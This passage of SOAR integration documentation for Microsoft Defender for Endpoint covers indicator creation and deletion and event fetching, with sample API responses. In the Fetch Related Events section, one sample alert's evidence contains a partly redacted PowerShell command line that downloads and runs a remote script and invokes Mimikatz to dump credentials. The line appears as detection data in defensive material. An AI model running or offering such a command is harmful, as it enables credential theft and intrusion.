    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-15T21:09:10.7938807Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-15T21:51:58.8793068Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": null,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "ID": ***
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/***

id

***

indicatorValue

d3security.com

indicatorType

DomainName

action

AlertAndBlock

createdBy

*****

severity

Informational

category

1

application

demo-test

educateUrl

bypassDurationHours

title

test

description

test

recommendedActions

nothing

creationTimeDateTimeUtc

4/15/2021 9:09:10 PM

expirationTime

12/12/2022 12:00:00 AM

lastUpdateTime

4/15/2021 9:51:58 PM

lastUpdatedBy

*****

rbacGroupNames

rbacGroupIds

notificationId

notificationBody

version

mitreTechniques

historicalDetection

False

lookBackPeriod

generateAlert

False

additionalInfo

createdByDisplayName

*****

externalId

createdBySource

PublicApi

certificateInfo

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Create Domain Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Request body is incorrect.

Error Sample Data

Create Domain Indicator failed.

Status Code: 400.

Message: Request body is incorrect.

Create File Indicator

Creates a file indicator.

READER NOTE

  • The parameter rbac Group Names is optional to run this command.

    • To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • There is a limit of 15,000 active indicators per tenant.

  • See Submit or Update Indicator API | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Hash Value

Required

The file hash value of the indicator.

*****

Hash Type

Required

The file hash type (i.e. FileSha1 or FileSha256 of the specified hash value.)

FileSha1

Action

Required

The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.

AlertAndBlock

Application

Optional

The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.

demo-test

Title

Required

The indicator alert title.

test

Description

Required

The description of the indicator.

test

Expiration Time

Optional

The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.

2022-12-12T00:00:00Z

Severity

Optional

The severity of the indicator. The available input options are Informational, Low, Medium, and High.

Informational

Recommended Actions

Optional

The recommended actions for the indicator alert.

nothing

rbac Group Names

Optional

A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.

RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.

["group1", "group2"]

Generate Alert

Optional

True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.

True

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "indicatorValue": "*****",
    "indicatorType": "FileSha1",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-15T17:45:47.9262976Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-15T21:51:48.9651869Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": null,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "*****",
    "indicatorValue": "*****",
    "indicatorType": "FileSha1",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-15T17:45:47.9262976Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-15T21:51:48.9651869Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": null,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "ID": ***
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/***

id

*****

indicatorValue

*****

indicatorType

FileSha1

action

AlertAndBlock

createdBy

*****

severity

Informational

category

1

application

demo-test

educateUrl

bypassDurationHours

title

test

description

test

recommendedActions

nothing

creationTimeDateTimeUtc

4/15/2021 5:45:47 PM

expirationTime

12/12/2022 12:00:00 AM

lastUpdateTime

4/15/2021 9:51:48 PM

lastUpdatedBy

*****

rbacGroupNames

rbacGroupIds

notificationId

notificationBody

version

mitreTechniques

historicalDetection

False

lookBackPeriod

generateAlert

False

additionalInfo

createdByDisplayName

***

externalId

createdBySource

PublicApi

certificateInfo

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Create File Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: File SHA1 XXX is invalid.

Error Sample Data

Create File Indicator failed.

Status Code: 400.

Message: File SHA1 XXX is invalid.

Create IP Indicator

Creates an IP indicator.

READER NOTE

  • The parameter rbac Group Names is optional to run this command.

    • To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

    • There is a limit of 15,000 active indicators per tenant.

  • See Submit or Update Indicator API | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

IP

Required

The identity of the indicator entity.

***.***.***.***

Action

Required

The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.

AlertAndBlock

Application

Optional

The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.

demo-test

Title

Required

The indicator alert title.

test

Description

Required

The description of the indicator.

test

Expiration Time

Optional

The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.

2022-12-12T00:00:00Z

Severity

Optional

The severity of the indicator. The available input options are Informational, Low, Medium, and High. If not specified, the default value is Informational.

Informational

Recommended Actions

Optional

The recommended actions for the indicator alert.

nothing

rbac Group Names

Optional

A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.

RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.

["group1", "group2"]

Generate Alert

Optional

True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.

True

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "***",
    "indicatorValue": "***.***.***.***",
    "indicatorType": "IpAddress",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-15T17:45:13.3321652Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-15T21:51:38.8862813Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": null,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "id": "***",
    "indicatorValue": "***.***.***.***",
    "indicatorType": "IpAddress",
    "action": "AlertAndBlock",
    "createdBy": "*****",
    "severity": "Informational",
    "category": 1,
    "application": "demo-test",
    "educateUrl": null,
    "bypassDurationHours": null,
    "title": "test",
    "description": "test",
    "recommendedActions": "nothing",
    "creationTimeDateTimeUtc": "2021-04-15T17:45:13.3321652Z",
    "expirationTime": "2022-12-12T00:00:00Z",
    "lastUpdateTime": "2021-04-15T21:51:38.8862813Z",
    "lastUpdatedBy": "*****",
    "rbacGroupNames": [],
    "rbacGroupIds": [],
    "notificationId": null,
    "notificationBody": null,
    "version": null,
    "mitreTechniques": [],
    "historicalDetection": false,
    "lookBackPeriod": null,
    "generateAlert": false,
    "additionalInfo": null,
    "createdByDisplayName": "***",
    "externalId": null,
    "createdBySource": "PublicApi",
    "certificateInfo": null
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "ID": ***
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@odata.context

https://api.securitycenter.microsoft.com/api/***

id

***

indicatorValue

***.***.***.***

indicatorType

IpAddress

action

AlertAndBlock

createdBy

*****

severity

Informational

category

1

application

demo-test

educateUrl

bypassDurationHours

title

test

description

test

recommendedActions

nothing

creationTimeDateTimeUtc

4/15/2021 5:45:13 PM

expirationTime

12/12/2022 12:00:00 AM

lastUpdateTime

4/15/2021 9:51:38 PM

lastUpdatedBy

*****

rbacGroupNames

rbacGroupIds

notificationId

notificationBody

version

mitreTechniques

historicalDetection

False

lookBackPeriod

generateAlert

False

additionalInfo

createdByDisplayName

***

externalId

createdBySource

PublicApi

certificateInfo

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Create IP Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: IP XXX is invalid.

Error Sample Data

Create IP Indicator failed.

Status Code: 400.

Message: IP XXX is invalid.

Delete Indicator

Deletes an Indicator entity by ID.

READER NOTE

  • The parameter Indicator IDs is required to run this command.

    • Run the List Indicator command to obtain Indicator IDs. Indicator IDs can be found in the returned raw data at the path $.value[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Delete Indicator API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Indicator IDs

Required

The ID(s) of the indicator(s) to delete in an array format. Indicator IDs can be obtained using the List Indicator command.

["*","*","*","*"]

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

D3 enriches the raw data from the original Microsoft Defender for Endpoint API response by adding the id field to indicate which indicator ids have been deleted; adding the status field to indicate the status of deletion.

SAMPLE DATA

JSON
[
    {
        "id": "***",
        "status": "deleted"
    },
    {
        "id": "***",
        "status": "deleted"
    },
    {
        "id": "***",
        "status": "deleted"
    },
    {
        "id": "***",
        "status": "deleted"
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "***",
        "status": "deleted"
    },
    {
        "id": "***",
        "status": "deleted"
    },
    {
        "id": "***",
        "status": "deleted"
    },
    {
        "id": "***",
        "status": "deleted"
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "*",
        "*",
        "*",
        "*"
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

STATUS

15

deleted

5

deleted

4

deleted

2

deleted

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Delete Indicator failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Received request with not existing indicators: 1.

Error Sample Data

Delete Indicator failed.

Status Code: 404.

Message: Received request with not existing indicators: 1.

Fetch Event

Retrieves events from Microsoft Defender for Endpoint based on the alert creation time, sorted in ascending order.

READER NOTE

  • Limitations for this command:

    • You can get alerts last updated according to your configured retention period.

    • Maximum page size is 10,000.

    • The Rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See to List alerts API | Microsoft Learn from Microsoft’s documentation for more details.

  • If you leave all optional input parameters empty, the ten oldest (in ascending order by default) created alerts will be returned.

Input

Input Parameter

Required /Optional

Description

Example

Start Time

Optional

The start time of the time range to fetch events in UTC time.

2021-01-21 00:00

End Time

Optional

The end time of the time range to fetch events in UTC time.

2021-01-26 00:00

Number of Event(s) Fetched

Optional

The maximum number of events to return. If this parameter is not defined, the default input value will be 10.

10

Search Condition

Optional

The query to filter results. See OData queries with Microsoft Defender for Endpoint from Microsoft’s documentation for more information about the search syntax.

Note: Not all properties are filterable. The available properties that support $filter for Alert are alertCreationTime, lastUpdateTime, incidentId, InvestigationId, status, severity, and category.

status eq 'New'

Tolerance Scope

Optional

The tolerance scope in minutes of the query to fetch events between start and end time to avoid the loss of events. Events will be fetched between {Start Time - Tolerance Scope}.

0

Output

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "value": [
        {
            "id": "*****",
            "incidentId": ***,
            "investigationId": ***,
            "assignedTo": null,
            "severity": "Low",
            "status": "New",
            "classification": null,
            "determination": null,
            "investigationState": "TerminatedBySystem",
            "detectionSource": "CustomerTI",
            "detectorId": "*****",
            "category": "Exploit",
            "threatFamilyName": null,
            "title": "Example",
            "description": "Example alert",
            "alertCreationTime": "2020-08-17T21:11:48.1442244Z",
            "firstEventTime": "2020-07-29T21:35:33.2061566Z",
            "lastEventTime": "2020-07-29T21:35:33.2061566Z",
            "lastUpdateTime": "2020-08-20T21:15:36.5733333Z",
            "resolvedTime": null,
            "machineId": "*****",
            "computerDnsName": "***-***-***",
            "rbacGroupName": null,
            "aadTenantId": "*****",
            "threatName": null,
            "mitreTechniques": [],
            "relatedUser": null,
            "comments": [],
            "evidence": []
        }
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "incidentId": ***,
        "investigationId": ***,
        "assignedTo": null,
        "severity": "Low",
        "status": "New",
        "classification": null,
        "determination": null,
        "investigationState": "TerminatedBySystem",
        "detectionSource": "CustomerTI",
        "detectorId": "***",
        "category": "Exploit",
        "threatFamilyName": null,
        "title": "Example",
        "description": "Example alert",
        "alertCreationTime": "2020-08-17T21:11:48.1442244Z",
        "firstEventTime": "2020-07-29T21:35:33.2061566Z",
        "lastEventTime": "2020-07-29T21:35:33.2061566Z",
        "lastUpdateTime": "2020-08-20T21:15:36.5733333Z",
        "resolvedTime": null,
        "machineId": "*****",
        "computerDnsName": "***-***-***",
        "rbacGroupName": null,
        "aadTenantId": "*****",
        "threatName": null,
        "mitreTechniques": [],
        "relatedUser": null,
        "comments": [],
        "evidence": []
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Alert Ids": [
        "*****"
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

INCIDENTID

***

INVESTIGATIONID

***

ASSIGNEDTO

SEVERITY

Low

STATUS

New

CLASSIFICATION

DETERMINATION

INVESTIGATIONSTATE

TerminatedBySystem

DETECTIONSOURCE

CustomerTI

DETECTORID

***

CATEGORY

Exploit

THREATFAMILYNAME

TITLE

Example

DESCRIPTION

Example alert

ALERTCREATIONTIME

8/17/2020 9:11:48 PM

FIRSTEVENTTIME

7/29/2020 9:35:33 PM

LASTEVENTTIME

7/29/2020 9:35:33 PM

LASTUPDATETIME

8/20/2020 9:15:36 PM

RESOLVEDTIME

MACHINEID

***

COMPUTERDNSNAME

***-***-***

RBACGROUPNAME

AADTENANTID

***

THREATNAME

MITRETECHNIQUES

[]

RELATEDUSER

COMMENTS

[]

EVIDENCE

[]

Fetch Event Field Mapping

Please note that Fetch Event commands require event field mapping. Field mapping plays a key role in the data normalization process part of the event pipeline. Field mapping converts the original data fields from the different providers to the D3 fields which are standardized by the D3 Model. Please refer to Event and Incident Intake Field Mapping for details.

If you require a custom field mapping, click +Add Field to add a custom field mapping. You may also remove built-in field mappings by clicking x. Please note that two underscore characters will automatically prefix the defined Field Name as the System Name for a custom field mapping. Additionally, if an input Field Name contains any spaces, they will automatically be replaced with underscores for the corresponding System Name.

As a system integration, the Microsoft Defender for Endpoint integration has some pre-configured field mappings for default field mapping.

  • Default Event Source
    The Default Event Source is the default set of field mappings that is applied when this fetch event command is executed. For out-of-the-box integrations, you will find a set of field mapping provided by the system. Default event source provides field mappings for common fields from fetched events (e.g., Host and Tenant ID). The default event source has a “Main Event JSON Path” (i.e., $.value) that is used to extract a batch of events from the response raw data. Click Edit Event Source to view the “Main Event JSON Path”. Click Edit Event Source to view the “Main Event JSON Path”.

    • Main Event JSON Path: $.value
      The Main Event JSON Path determines the root path where the system starts parsing raw response data into D3 event data. The JSON path begins with $, representing the root element. The path is formed by appending a sequence of child elements to $, each separated by a dot (.). Square brackets with nested quotation marks ([‘...’]) should be used to separate child elements in JSON arrays.
      For example, the root node of a JSON Path is value. The child node denoting the Event code field would be id. Putting it together, the JSON Path expression to extract the Event code is $.value.id.

The pre-configured field mappings are detailed below:

Field Name

Source Field

Event code

.id

Severity

.severity

Source vendor name

.detectionSource

Category

.category

Title

.title

None

.description

Creation Time

.alertCreationTime

Host

.computerDnsName

Tenant ID

.aadTenantId

Techniques

.aadTenantId.mitreTechniques

Username

.relatedUser.userName

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Fetch Event failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.

Error Sample Data

Fetch Event failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.

Fetch Related Events

Retrieves related events from Microsoft Defender for Endpoint based on the alert creation time, sorted in ascending order.

READER NOTE

  • Limitations for this command:

    • You can get alerts last updated according to your configured retention period.

    • Maximum page size is 10,000.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See List alerts API | Microsoft Learn from Microsoft’s documentation for more details.

  • If you leave all optional input parameters empty, the ten oldest created alerts within the past 24 hours will be returned.

Input

Input Parameter

Required /Optional

Description

Example

The hours before

Optional

The number of hours before the current time. The default value is 24.

10

Top Recent Number

Optional

The top recent event number. The default value is 10, the max value is 10,000.

1

Search Condition

Optional

The query to filter results. See OData queries with Microsoft Defender for Endpoint from Microsoft’s documentation for more information about the search syntax.

Note: Not all properties are filterable. The available properties that support $filter for Alert are alertCreationTime, lastUpdateTime, incidentId, InvestigationId, status, severity, and category.

status eq 'New'

Tolerance Scope

Optional

The tolerance scope in minutes of the query to fetch events between start and end time to avoid the loss of events. Events will be fetched between {Start Time - Tolerance Scope}. The default value is 0.

0

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "value": [
        {
            "id": "*****",
            "incidentId": ***,
            "investigationId": ***,
            "assignedTo": "Administrator",
            "severity": "Medium",
            "status": "New",
            "classification": null,
            "determination": null,
            "investigationState": "UnsupportedAlertType",
            "detectionSource": "WindowsDefenderAtp",
            "detectorId": "*****",
            "category": "Execution",
            "threatFamilyName": null,
            "title": "Suspicious PowerShell command line",
            "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
            "alertCreationTime": "2021-04-10T00:09:06.455105Z",
            "firstEventTime": "2021-04-09T23:50:47.0400904Z",
            "lastEventTime": "2021-04-09T23:50:47.0400904Z",
            "lastUpdateTime": "2021-04-19T22:03:52.0666667Z",
            "resolvedTime": null,
            "machineId": "*****",
            "computerDnsName": "***-***.***",
            "rbacGroupName": null,
            "aadTenantId": "*****",
            "threatName": null,
            "mitreTechniques": [
                "***.***"
            ],
            "relatedUser": {
                "userName": "***",
                "domainName": "***"
            },
            "comments": [
                {
                    "comment": "Eddie_Test",
                    "createdBy": "Automation",
                    "createdTime": "2021-04-19T22:03:52.0639327Z"
                }
            ],
            "evidence": [
                {
                    "entityType": "User",
                    "evidenceCreationTime": "2021-04-10T00:09:06.58Z",
                    "sha1": ***,
                    "sha256": ***,
                    "fileName": ***,
                    "filePath": ***,
                    "processId": ***,
                    "processCommandLine": null,
                    "processCreationTime": null,
                    "parentProcessId": ***,
                    "parentProcessCreationTime": null,
                    "parentProcessFileName": ***,
                    "parentProcessFilePath": ***,
                    "ipAddress": ***,
                    "url": ***,
                    "registryKey": ***,
                    "registryHive": ***,
                    "registryValueType": ***,
                    "registryValue": ***,
                    "accountName": "***",
                    "domainName": "***",
                    "userSid": "*******,
                    "aadUserId": *****,
                    "userPrincipalName": *****,
                    "detectionStatus": null
                },
                {
                    "entityType": "Process",
                    "evidenceCreationTime": "2021-04-10T00:09:06.58Z",
                    "sha1": "***",
                    "sha256": "***",
                    "fileName": "***.exe",
                    "filePath": "C:\\Windows\\***\\***\\v*.*",
                    "processId": ***,
                    "processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/***.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\***.txt",
                    "processCreationTime": "2021-04-09T23:50:46.9640874Z",
                    "parentProcessId": 11424,
                    "parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",
                    "parentProcessFileName": "***.exe",
                    "parentProcessFilePath": "C:\\Users\\***\\***",
                    "ipAddress": ***,
                    "url": ***,
                    "registryKey": ***,
                    "registryHive": ***,
                    "registryValueType": ***,
                    "registryValue": ***,
                    "accountName": "***",
                    "domainName": "*****",
                    "userSid": "*****",
                    "aadUserId": *****,
                    "userPrincipalName": *****,
                    "detectionStatus": "Detected"
                }
            ]
        }
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "incidentId": ***,
        "investigationId": ***,
        "assignedTo": "Administrator",
        "severity": "Medium",
        "status": "New",
        "classification": null,
        "determination": null,
        "investigationState": "UnsupportedAlertType",
        "detectionSource": "WindowsDefenderAtp",
        "detectorId": "*****",
        "category": "Execution",
        "threatFamilyName": null,
        "title": "Suspicious PowerShell command line",
        "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
        "alertCreationTime": "2021-04-10T00:09:06.455105Z",
        "firstEventTime": "2021-04-09T23:50:47.0400904Z",
        "lastEventTime": "2021-04-09T23:50:47.0400904Z",
        "lastUpdateTime": "2021-04-19T22:03:52.0666667Z",
        "resolvedTime": null,
        "machineId": "*****",
        "computerDnsName": "***.***.***",
        "rbacGroupName": null,
        "aadTenantId": "*****",
        "threatName": null,
